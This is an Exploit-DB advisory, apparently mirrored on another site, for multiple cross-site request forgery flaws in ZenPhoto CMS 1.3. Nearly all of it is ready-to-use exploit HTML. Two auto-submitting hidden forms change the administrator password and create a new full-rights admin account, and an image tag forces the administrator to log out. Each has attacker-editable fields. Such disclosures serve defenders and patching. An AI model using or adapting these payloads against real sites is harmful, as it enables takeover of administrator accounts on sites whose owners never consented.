ZenPhoto CMS 1.3 – Multiple Cross-Site Request Forgery Vulnerabilities

  • 作者： 10n1z3d
    日期： 2010-07-14
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/14359/
  • <!---
Title: Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities
Author: 10n1z3d <10n1z3d[at]w[dot]cn>
Date: Wed 14 Jul 2010 12:48:56 PM EEST 
Vendor: http://www.zenphoto.org/
Download: http://zenphoto.googlecode.com/files/zenphoto-1.3.tar.gz
--->

-=[ CSRF PoC 1 - Change Admin Password ]=-

<html>
<head>
<title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities - Change Admin Password</title>
</head>
<body onload="document.csrf.submit();">
<form name="csrf" action="http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions" method="post">
<!--- Edit these --->
<input type="hidden" name="0-admin_name" value="root" />
<input type="hidden" name="0-admin_email" value="root@root.com" />
<input type="hidden" name="0-adminpass" value="rootroot" />
<input type="hidden" name="0-adminpass_2" value="rootroot" />
<!--- Do not edit below --->
<input type="hidden" name="saveadminoptions" value="yes" />
<input type="hidden" name="alter_enabled" value="1" />
<input type="hidden" name="show-admin" value="1" />
<input type="hidden" name="0-adminuser" value="admin" />
<input type="hidden" name="0-confirmed" value="2" />
<input type="hidden" name="0-ADMIN_RIGHTS" value="65536" />
<input type="hidden" name="0-OPTIONS_RIGHTS" value="8192" />
<input type="hidden" name="0-TAGS_RIGHTS" value="4096" />
<input type="hidden" name="0-ZENPAGE_RIGHTS" value="2049" />
<input type="hidden" name="0-THEMES_RIGHTS" value="1024" />
<input type="hidden" name="0-MANAGE_ALL_ALBUM_RIGHTS" value="512" />
<input type="hidden" name="0-ALBUM_RIGHTS" value="256" />
<input type="hidden" name="0-COMMENT_RIGHTS" value="64" />
<input type="hidden" name="0-POST_COMMENT_RIGHTS" value="32" />
<input type="hidden" name="0-UPLOAD_RIGHTS" value="16" />
<input type="hidden" name="0-VIEW_ALL_RIGHTS" value="8" />
<input type="hidden" name="0-OVERVIEW_RIGHTS" value="4" />
<input type="hidden" name="show-" value="16" />
<input type="hidden" name="totaladmins" value="1" />
</form>
</body>
</html>

-=[ CSRF PoC 2 - Create Admin User ]=-

<html>
<head>
<title>Zenphoto CMS 1.3 Multiple CSRF Vulnerabilities - Create Admin User</title>
</head>
<body onload="document.csrf.submit();">
<form name="csrf" action="http://[domain]/[path]/zp-core/admin-users.php?action=saveoptions" method="post">
<!--- Edit these --->
<input type="hidden" name="1-adminuser" value="root" />
<input type="hidden" name="1-adminpass" value="rootroot" />
<input type="hidden" name="1-adminpass_2" value="rootroot" />
<input type="hidden" name="1-admin_name" value="root" />
<input type="hidden" name="1-admin_email" value="root@root.com" />
<!--- Do not edit below --->
<input type="hidden" name="saveadminoptions" value="yes" />
<input type="hidden" name="alter_enabled" value="1" />
<input type="hidden" name="show-admin" value="1" />
<input type="hidden" name="1-ADMIN_RIGHTS" value="65536" />
<input type="hidden" name="1-OPTIONS_RIGHTS" value="8192" />
<input type="hidden" name="1-TAGS_RIGHTS" value="4096" />
<input type="hidden" name="1-ZENPAGE_RIGHTS" value="2049" />
<input type="hidden" name="1-THEMES_RIGHTS" value="1024" />
<input type="hidden" name="1-MANAGE_ALL_ALBUM_RIGHTS" value="512" />
<input type="hidden" name="1-ALBUM_RIGHTS" value="256" />
<input type="hidden" name="1-COMMENT_RIGHTS" value="64" />
<input type="hidden" name="1-POST_COMMENT_RIGHTS" value="32" />
<input type="hidden" name="1-UPLOAD_RIGHTS" value="16" />
<input type="hidden" name="1-VIEW_ALL_RIGHTS" value="8" />
<input type="hidden" name="1-OVERVIEW_RIGHTS" value="4" />
<input type="hidden" name="show-" value="16" />
<input type="hidden" name="1-newuser" value="1" />
<input type="hidden" name="1-confirmed" value="2" />
<input type="hidden" name="totaladmins" value="2" />
</form>
</body>
</html>

-=[ CSRF PoC 3 - Logout The Administrator ]=-

<img src="http://[domain]/[path]/zp-core/admin.php?logout=0" alt="Do you see this?" />

<!---
http://www.evilzone.org/
irc.evilzone.org(6697 / 9999)
--->